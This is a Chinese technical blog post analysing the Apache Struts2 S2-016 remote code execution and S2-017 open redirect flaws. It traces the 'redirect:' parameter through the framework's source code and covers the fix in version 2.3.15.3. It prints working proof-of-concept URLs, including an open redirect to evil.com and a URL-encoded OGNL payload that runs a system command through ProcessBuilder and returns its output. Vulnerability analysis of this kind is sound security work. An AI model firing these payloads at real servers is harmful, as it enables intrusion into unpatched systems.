前言

由于S2-016、S2-017出现的原因时相同的,只是由于poc不一样,造成了不同的攻击。S2-016是RCE,S2-017是开发型重定向漏洞。这里将两个漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些时间先看看。

正文

在起始篇中我们讲到过,Struts2在StrutsPrepareFilter中通过DefaultActionMapper.getMapping获取action对应的action mapper时会调用handleSpecialParameters对请求的url后面的特殊参数做判断。跟进getMapping函数

跟进handleSpecialParameters方法:

在362行处,prefixTrie实际上就是一个类似Map<String,Object>的数据结构(具体实现不重要),在DefaultActionMapper的构造函数中就已经初始化了prefixTrie。

可以看到prefixTrie有资格key,分别是method:、action:、redirect:、redirect-action:。当请求参数中有这四个参数中的某一个时,将会调用对应的value(一个ParameterAction)的execute方法。我们看一下官方的介绍,可以知道action:、redirect:、redirect-action:这三个是有问题的。

我们选择其中的“redirect: ”跟进对应的execute方法就好了

方法内先是创建了一个ServletRedirectResult对象,然后调用ServletRedirectResult的sertLocation方法设置跳转的url(可以看到是用的url后面的redirect参数分割后赋值的,假设我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后将该ServletRedirectResult放入action mapper中,到这里两个漏洞的source点就分析出来了。
    我们在第一篇文章中讲过,在Dispatcher.serviceaction()执行action前都会判断actionmapper中是否有result属性,有的话将调用result的execute方法而不会进入action中了。

由于这里分析起来较为麻烦,也难以说清楚,我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug

F5步入,发现先是进入了StrutsResultSupport的execute方法,这是因为StrutsResultSupport是ServletRedirectResult的父类,而ServletRedirectResult自己有没有实现execute方法。

方法中先是调用conditionalParse解析location,再调用ServletRedirectResult.doExecute进行真正的跳转。跟进conditionalParse方法中:

继续F5步入进入TextParseUtil.translateVariables方法中,发现其调用了translateVariables,其中初始化了一个char[]是”%“和"$",这是方便后面识别表达式(S2-027中就是因为ActionSupport类中的getText方法调用了此方法导致ognl表达式执行,ActionSupport是所有Action的父类,后面将不再分析此漏洞)

继续跟进:

方法很长,但是内容很简单,大致就是判断location是否是表达式,如果是则进入stack.findValue(),由于这里我们的POC中location是”xxx“,所以我们进不去,先不管,之后我们改下poc再进这个方法中看看。回到StrutsResultSupport的execute方法中,这个时候我们知道了原来conditionalParse解析location就是判断location是不是ognl表达式,然后进入了ServletRedirectResult.doExecute方法中

OK!到这里,S2-017这个开放型重定向漏洞就被分析出来了,我们只需改下poc,让location为“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"

回到之前我们没有进去的代码,现在我们再将poc修改下,让location以”${“开头以”}“结尾,进入循环代码,访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,发现后台tomcat报错了

这是由于url中不让有特殊字符,需要url编码,这个时候有经验的朋友可能会问:”为什么我以前利用S2的其他漏洞,ognl表达式都没有url编码,照样能用呢?“,我看过其他朋友关于S2-016的分析,也都遇到这个问题了,就是S2-016不编码的poc用不了。

这里我简单的测试了一下并没有得出结论,最开始以为是浏览器识别时发现没有“=”不会自动进行url编码,后来经测试发现压根就不是这样的。不过从上面报出的异常栈中可以看到,请求压根没到struts2,是tomcat报错了,所以我觉得应该和漏洞本身无关。不过貌似不管怎样poc最好还是url编码下吧。。。

将poc修改下,重新访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“

debug一下能发现这里的值栈其实是OgnlValueStack,我们在第一篇文章中也讲过,创建值栈时创建的是其默认实现类OgnlValueStack。F5步入:

可以看到表达式参数expr就是”xxxx“,继续跟进ognlUtil.getValue

到这里就可以看到将会执行ognl表达式了。至于为什么,后面会专门介绍OGNL的。现在我们将poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
    访问会提示下载,下载下来打开里面就是执行的代码结果了。

OGNL表达式

其实百度百科就已经说的比较清楚了,看下介绍:

可以看到OGNL就是用来访问对象且可以调用对象的方法的,如果我们能访问ProcessBuilder、Runtime这些对象并调用他们的方法岂不是就可以执行任意命令了。

先看下OGNL表达式的语法:

上面对Ognl表达式的用法做了些简单的介绍,至于为什么Ognl.getValue会执行表达式,这个需要看OGNL源码才型,感觉在这里分析它没有必要。知道了上面这些用法就足以让我们理解poc和写poc了。值得注意的是早期S2的漏洞中使用的POC都是通过  
”**@[类全名(包括包路径)]@[方法名 |  值名**“ 
来获取ProcessBuilder、Runtime这些对象的,后来struts2禁用了静态方法调用,所以大家将poc改为直接new
一个ProcessBuilder或Runtime来执行命令。现在我们将上面的poc url解码后分析下:
    ${#a=(new
java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe',
'/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new

char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
    看起来好像代码很多,实际上就是new一个ProcessBuilder对象执行了ipconfig命令,然后将输出结果用io流读取后通过HttpServletResponse返回。也可以使用如下较为简单的方法进行验证漏洞是否存在(记住需要url编码):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}

S2-018

这里不打算分析S2-018了,只是简单的提一下,我们分析S2-016和S2-017时是通过跟进"redirect:"这个特殊的参数来分析的,实际上”redirect-action“和”action:“也有问题,其中S2-018就和”action:“相关,看下官方介绍:

大概意思就是通过指定”action:“可以越权,由于漏洞影响不大,我没有分析它,感兴趣的小伙伴可以自行跟进

修复方法

S2-016、S2-017、S2-018影响范围在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已经将这三个特殊参数都删除了

参考文章

https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

https://blog.csdn.net/u011721501/article/details/41735885

https://www.jianshu.com/p/298a2cb12403

S2-016、S2-017的更多相关文章

  1. 电源相关知识—S0、S1(POS)、S2、S3(STR)、 S4、S5、睡眠、休眠、待机

    转 http://blog.sina.com.cn/s/blog_52f28dde0100l3ci.html APM https://en.wikipedia.org/wiki/Advanced_Po ...

  2. 016、Dockerfile 常用命令(2019-01-07 周一)

    参考https://www.cnblogs.com/CloudMan6/p/6864000.html   Dokcerfile常见命令   FROM     指定base镜像   MAINTAINER ...

  3. 016、Java中使用小数

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  4. 016、MySQL取本年第一季度开始日期

    #取第1季度开始日期 SELECT date_add( dy, INTERVAL ( ) MONTH ) dy FROM ( ) dy ) x ; 效果如下: 不忘初心,如果您认为这篇文章有价值,认同 ...

  5. Java数据结构和算法(六)——前缀、中缀、后缀表达式

    前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...

  6. Java数据结构和算法(六):前缀、中缀、后缀表达式

    前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...

  7. C语言--关键字 typedef

    一.typedef 1.基本使用 1> typedef 在基本数据类型中的使用 typedef int MyInt; // 相当于给 int 起了一个别名 typedef MyInt MyInt ...

  8. CCIE路由实验(8) -- QoS

    1.查看端口缺省的队列机制2.配置CB-WFQ3.配置CB-LLQ4.配置CB-Shapping在以太接口下5.配置CB-Shapping在FR接口下6.配置帧中继流量整形FRTS7.配置CB-Pol ...

  9. Pyhton编程(四)之基本数据类型-字符串详解

    一:字符串是什么? 字符串是Python最常用的一种数据类型,虽然看似简单,但能够以不同的方式来使用它们. 字符串就是一系列的字符,在Python中,用引号括起来的都是字符串,其中的引号可以是单引号, ...

  10. 一个对象toString()方法如果没有被重写,那么默认调用它的父类Object的toString()方法,而Object的toString()方法是打印该对象的hashCode,一般hashCode就是此对象的内存地址

    昨天因为要从JFrame控件获取密码,注意到一个问题,那就是用toString方法得到的不一定是你想要的,如下: jPasswordField是JFrame中的密码输入框,如果用下面的方法是得不到密码 ...

随机推荐

  1. 【原创】主机不能访问虚拟机CentOS7中的站点

    主机不能访问虚拟机CentOS7中的站点 ================================ 虚拟机上装好了centos7,并配好了nginx+php+mysql,但是本机就是无法访问. ...

  2. 五句话搞定Python、JavaScript作用域

    这个银角的看家之作了吧,哈哈哈,剽窃下,原地址在这:点我点我 Python与JavaScript基本相同,但声明提前一项略有不同. JavaScript.Python中无块级作用域 在Java或C#中 ...

  3. MySQL创建及删除临时表

    示例SQL: drop temporary table if exists testdb.tmp_test_table; create temporary table testdb.tmp_test_ ...

  4. Jenkins增加日志查看内容. 如何查看Jenkins插件的日志?

    进入Jenkins日志项 添加新的日志记录 把插件的GroupID信息填入 对应的源代码 日志生成代码 执行插件,即可查看插件里的日志输出

  5. OAuth 2.0 授权认证详解

    一.认识 OAuth 2.0 1.1 OAuth 2.0 应用场景 OAuth 2.0 标准目前被广泛应用在第三方登录场景中,以下是虚拟出来的角色,阐述 OAuth2 能帮我们干什么,引用阮一峰这篇理 ...

  6. thinkphp5 引用 phpass加密算法

    引入phpass thinkPHP5 放到扩展目录里 自动加载配置 直接实例化 // 初始化散列器为不可移植(这样更安全) $PasswordHashs = new \PasswordHashs(8, ...

  7. 学习笔记:oracle学习一:oracle11g体系结构之物理存储结构

    目录 1.物理存储结构 1.1 数据文件 1.2 控制文件 1.3 日志文件 1.3.1 重做日志文件 1.3.2 归档日志文件 1.4 服务器参数文件 1.4.1 查看服务器参数 1.4.2 修改服 ...

  8. [转帖]支撑双11每秒17.5万单事务 阿里巴巴对JVM都做了些什么?

    支撑双11每秒17.5万单事务 阿里巴巴对JVM都做了些什么? https://mp.weixin.qq.com/s?__biz=MzA3OTg5NjcyMg==&mid=2661671930 ...

  9. java日志框架系列(6):logback框架encoder详解

    1.Encoder 1.encoder功能 Encoder 负责两件事,一是把事件转换为字节数组,二是把字节数组写入输出流. 注意:在logback 0.9.19 版之前没有 encoder. 在之前 ...

  10. Spring IoC 和 DI 简介(二)

    Spring IoC 和 DI 简介 IoC:Inverse of Control(控制反转) 读作“反转控制”,更好理解,不是什么技术,而是一种设计思想,就是将原本在程序中手动创建对象的控制权,交由 ...